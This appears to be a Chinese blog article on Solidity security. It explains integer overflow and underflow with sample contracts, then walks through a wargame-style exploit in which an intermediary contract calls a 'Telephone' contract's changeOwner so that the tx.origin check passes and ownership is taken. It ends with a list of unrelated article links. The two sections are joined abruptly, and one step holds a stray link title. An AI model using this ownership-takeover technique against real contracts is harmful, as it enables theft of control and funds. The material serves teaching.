整数溢出和下溢
与C和C ++一样,Solidity是一种比较低级别的编码语言,没有处理存储限制的功能。这可能与Ruby和Python开发人员习惯的非常不同。
以太坊的智能合约存储分别为256位或32字节。 Solidity支持有符号整数和无符号整数uint,最高可达256位。
这意味着当您的数字超过在分配的存储位之下或之上时,您的算术运算容易出现下溢和溢出错误。
注意:最大可能的uint256等于115792089237316195423570985008687907853269984665640564039457584007913129639935
contract Unsigned {
uint8 public min = 0;
uint8 public max = 255;
// Underflowing & overflowing doesn‘t throw an error
uint8 public less_than_min = min - 1; // returns 255
uint8 public more_than_max = max + 1; // returns 0
}
contract Signed {
int8 public min = -128;
int8 public max = 127;
int8 public less_than_min = min - 1; // returns 127
int8 public more_than_max = max +1; // returns -128
}
以下是上面代码段的可视化:
这会使得处理算术运算符的合约易受攻击。通常我们从safemath.sol库继承数学运算符。
细节演练
1. 注意Telephone.sol的changeOwner函数检查是否(tx.origin!= msg.sender)。似乎我们可以通过方案3成功触发此功能:区块链研究实验室| 如何防止滥用智能合约中的伪随机性
2. 创建一个电话合约,Telephony构成合同A.在Telephony中实例化合约B,您的Telephone.sol:
contract Telephony {
Telephone public phone = Telephone(YOUR_INSTANCE_ADDR_HERE);
//TODO.。.
}
3、在Telephony中创建一个changeOwner函数,该函数调用Telephone中的changeOwner函数,即玩电话游戏。
function changeOwner(address _owner) public {
phone.changeOwner(_owner);
}
4、注意await contract.owner()在控制台中现在指示您的用户钱包是所有者!
相关热词:#区块链
视频服务器的基本特性与十大选择理由
时间:2026-03-06
Windows2003 中怎样配置NAT服务器?
时间:2026-03-06
什么是SPEC基准测试(服务器知识)
时间:2026-03-06
Linux系统下VPN服务器配置方法介绍
时间:2026-03-06
服务器性能的基准测试
时间:2026-03-06
打造SQL Server2000的安全策略教程
时间:2026-03-06
发现并防止对WEB应用服务器的三种攻击
时间:2026-03-06
专家谈如何提高服务器利用率
时间:2026-03-06
剖析Windows系统中的VSS存储技术
时间:2026-03-06
深入优化DB2 数据库的五个最佳实践
时间:2026-03-06
配电变压器的工作原理和作用
时间:2026-03-05
低压配电方式有三种 低压配电的作用
时间:2026-03-05
中线安防保护器对电网中三次谐波的治理
时间:2026-03-05
什么是单母线接线?主接线的普遍规律
时间:2026-03-05
智能电网包括什么?它的先进性和优势是?
时间:2026-03-05
智慧工厂能耗在线监控平台开发能源管控系统...
时间:2026-03-05
基于区块链技术的IP电话协议的分散式设计方...
时间:2026-03-05
未来什么技术占主流?会是区块链吗?
时间:2026-03-05
浅谈区块链下的智能合约
时间:2026-03-05
浅显易懂地揭开.Net生态系统的神秘面纱!
时间:2026-03-05